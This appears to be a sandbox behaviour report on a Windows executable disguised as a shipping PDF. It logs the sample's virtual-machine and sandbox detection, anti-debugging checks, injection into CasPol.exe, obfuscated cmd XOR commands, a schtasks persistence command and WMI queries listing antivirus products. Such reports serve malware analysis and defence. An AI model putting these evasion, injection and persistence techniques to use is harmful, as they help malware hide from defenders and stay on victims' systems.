Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x41616575^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"

Tries to detect Any.run

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975454741.0000000003381000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975454741.0000000003381000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NTDLLUSER32KERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 10.0; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOKERNELBASE.DLLSHELL32ADVAPI32TEMP=WINDIR=\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 5052	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 5052	Thread sleep time: -31300s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 1372	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Code function: 1_2_03281329 rdtsc

1_2_03281329

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 626	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 1018	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: foregroundWindowGot 577	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: foregroundWindowGot 690	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_00405C13 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405C13
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0040683D FindFirstFileW,FindClose,	1_2_0040683D
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0040290B FindFirstFileW,	1_2_0040290B

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	API call chain: ExitProcess graph end node			graph_1-17526
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	API call chain: ExitProcess graph end node			graph_1-17530

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\Framework\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System\06e54f5fa1f15dd558eaf403cdcacad3\System.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\5085e86702d2182b0d9417971c65ded2\System.Drawing.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\ae952be8fa59744d6333aed90b72f162\System.Windows.Forms.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\	Jump to behavior

Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975967434.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975967434.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975967434.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975967434.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975967434.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975967434.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975967434.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 00000088.00000003.186208501547.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975454741.0000000003381000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975967434.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975967434.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: CasPol.exe, 00000088.00000003.186210437136.00000000011CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975967434.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975454741.0000000003381000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ntdlluser32kernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoKERNELBASE.DLLshell32advapi32TEMP=windir=\Microsoft.NET\Framework\v2.0.50727\caspol.exewindir=\syswow64\iertutil.dll
Source: Original Shipment_Document.PDF.exe, 00000001.00000002.185975967434.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: CasPol.exe, 00000088.00000003.186208501547.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=2_

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Code function: 1_2_718D1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_718D1BFF

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Code function: 1_2_03281329 rdtsc

1_2_03281329

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03289F60 mov eax, dword ptr fs:[00000030h]	1_2_03289F60
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03291B4A mov eax, dword ptr fs:[00000030h]	1_2_03291B4A
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_03289F53 mov eax, dword ptr fs:[00000030h]	1_2_03289F53
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328D205 mov eax, dword ptr fs:[00000030h]	1_2_0328D205
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328FD64 mov eax, dword ptr fs:[00000030h]	1_2_0328FD64
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328A172 mov ebx, dword ptr fs:[00000030h]	1_2_0328A172
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032909E1 mov eax, dword ptr fs:[00000030h]	1_2_032909E1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0328A020 mov eax, dword ptr fs:[00000030h]	1_2_0328A020
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032898BD mov eax, dword ptr fs:[00000030h]	1_2_032898BD
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_032898C0 mov eax, dword ptr fs:[00000030h]	1_2_032898C0

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Code function: 1_2_0328FD77 LdrLoadDll,

1_2_0328FD77

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe base: E30000

Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03631637^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C382120^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7F303920^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x78713865^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6D7569^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x41616575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0975752C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19697965^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x49796569^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307571^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216D75^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09703C6B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6C7578^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0363032C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B2D2024^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x55183929^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x563A7D2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09753C65^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216475^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216675^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09697965^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5079653D^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0D697C35^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x172B6478^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03630620^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4D1F3C29^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C093A2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x572D3037^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x11307537^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0C75752C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19686375^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09697569^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x10307B37^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0A64721C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03630720^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x583D132C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x553C7D2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6C7965^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4D1F3C29^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C093A2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216475^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0975752C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x41616575^962155845"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp6DD1.tmp	Jump to behavior

Source: CasPol.exe, 00000088.00000003.186100296322.000000001FA62000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186128387512.000000001FA62000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186172734108.000000001FA62000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Program Manager

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

1_2_004034F7

Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
